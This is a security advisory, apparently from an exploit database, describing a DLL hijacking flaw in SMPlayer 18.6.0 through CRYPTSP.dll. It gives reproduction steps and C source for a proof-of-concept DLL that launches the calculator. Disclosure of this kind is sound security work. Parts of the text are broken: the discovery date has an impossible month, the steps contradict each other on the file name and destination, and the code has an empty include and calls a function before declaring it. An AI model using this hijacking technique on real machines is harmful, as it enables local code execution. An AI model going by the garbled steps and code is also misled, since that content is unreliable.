===================================================== [#] Exploit Title : SMPlayer 18.6.0 - DLL Hijacking Code Execution [#] Date Discovered : 2018-20-07 [#] Affected Product(s): SMPlayer v18.6.0 - Software [#] Exploitation Technique: Local [#] Severity Level: Medium [#] Tested OS : Windows 7 & Windows 10 ===================================================== [#] Product & Service Introduction: =================================== SMPlayer is a free multimedia player for Windows and Linux with built-in codecs that can play virtually any video and audio format. It does not need any additional codecs. Install SMPlayer with ease and you'll be able to instantly play all audio and video formats without having to search for and install additional codecs. (Copy of the Vendor Homepage: http://www.smplayer.info/) [#] Technical Details & Description: ==================================== A local dll injection vulnerability has been discovered in the official SMPlayer v18.6.0 software. The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the affected software to followup with manipulations. Vulnerable Software: [+] SMPlayer Vulnerable Version(s): [+] v18.6.0 Vulnerable Libraries: [+] CRYPTSP.dll [#] Proof of Concept (PoC): =========================== The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll 2. Rename the dynamic link library to CRYPTSP.dll.dll 3. Copy CRYPTSP.dll to C:\SMPlayer\smplayer.exe 4. Launch smplayer.exe 5. Now the calculator executes! -- PoC Exploit -- #include #define DLLIMPORT __declspec (dllexport) DLLIMPORT void HrCreateConverter() { evil(); } int evil() { WinExec("calc", 0); exit(0); return 0; } [#] Vulnerability Disclosure Timeline: ====================================== 2018-20-07 : Discovery of the Vulnerability 2018-03-08 : Public Disclosure [#] Disclaimer: =============== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Copyright A(c) 2018 | ZwX - Security Researcher (Software & web application)